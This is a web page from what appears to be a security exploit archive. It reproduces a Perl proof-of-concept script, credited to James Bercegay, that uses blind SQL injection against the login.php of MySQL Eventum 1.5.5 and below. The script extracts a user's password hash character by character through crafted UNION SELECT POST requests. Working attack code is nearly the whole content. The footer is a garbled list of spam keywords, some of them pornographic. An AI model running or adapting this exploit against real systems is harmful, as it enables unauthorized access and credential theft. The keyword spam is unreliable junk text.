about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , MySQL Eventum <= 1.5.5 "login.php" Remote SQL Injection Exploit



2005-08-05 MySQL Eventum <= 1.5.5 "login.php" Remote SQL Injection Exploit
Rated as : Moderate Risk 

#!/usr/bin/perl -w
use IO::Socket;
use strict;

print "#################################\n";
print "#  MySQL Eventum <= v1.5.5 SQL Injection PoC  #\n";
print "#   James Bercegay // gulftech.org // 7-28-05      #\n";
print "#################################\n";

my $host = 'localhost';
my $path = '/eventum/login.php';
my $user = '2';
my $port = 80;
my $pass = '';

my @char =
('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');

print "[*] Trying $host\n";

OUTER: for ( my $i = 1; $i < 33; $i++ ) 
{
INNER: for ( my $j=0; $j < 16; $j++ )
{
my $used = $char[$j];
my $sock = IO::Socket::INET->new( PeerAddr => $host, PeerPort =>
$port, 
Proto => 'tcp' ) || die "[!] Unable to connect to $host\n";

my $post =
"cat=login&url=&email=%27+UNION+SELECT+%273355d92c04a3332339b767f9278405ff%27
+FROM+eventum_user+WHERE+usr_id=$user+AND+MID(usr_password,$i,1)='$used'%2F*
&passwd=dance&Submit=Login";
my $send = "POST $path HTTP/1.1\r\n";
$send .= "Host: $host\r\n";
$send .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
rv:1.7.10) 
Gecko/20050716 Firefox/1.0.6\r\n";
$send .= "Connection: Keep-Alive\r\n";
$send .= "Content-type: application/x-www-form-urlencoded\r\n";

$send .= "Content-length: ".length($post)."\r\n\r\n";
$send .= "$post\r\n\r\n";

print $sock $send;

while ( my $line = <$sock> )
{
if ( $line =~ /(.*)err=7(.*)/is )
{
$pass .= $used;
print "[+] Char $i is $used\n";
last INNER;
} 
#/if
}
#/while

close($sock);
}
#/for INNER

if ( length($pass) < 1 ) 
{
print "[!] Host not vulnerable!";
exit;
}
}
#/for OUTER

print "[+] Pass hash is $pass\n";
exit;
securitydot.net - 2005-08-05

Advertising

Copyright 2007, SecurityDot
Wed, 03 Dec 2008 09:08:02 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
Www9.Phone www.cnycgc postfix 2. film pende t231t ACTORES PI SIX XXX t339t 2.6.10-2.3 indian ds-230 for Www.teffin Free pussy Srilanka s php-nuke 2 t251t t589t www pinc simasex femalemoda 200 /compo humoron.co www.gaotan Sexy pussy mambo Remo www.americ http://fre anjeliana Srilanka s RSync WWW.WOLD.S TAMILBLUEF free sex m www.89.kom 200 /compo www3pic co phpBB por Tsseductio www.americ sania mirz php-nuke 2 Telugu sex culo Sexs6.com free mms s www.freese naruto sex sexstars.h Girl and b www.freese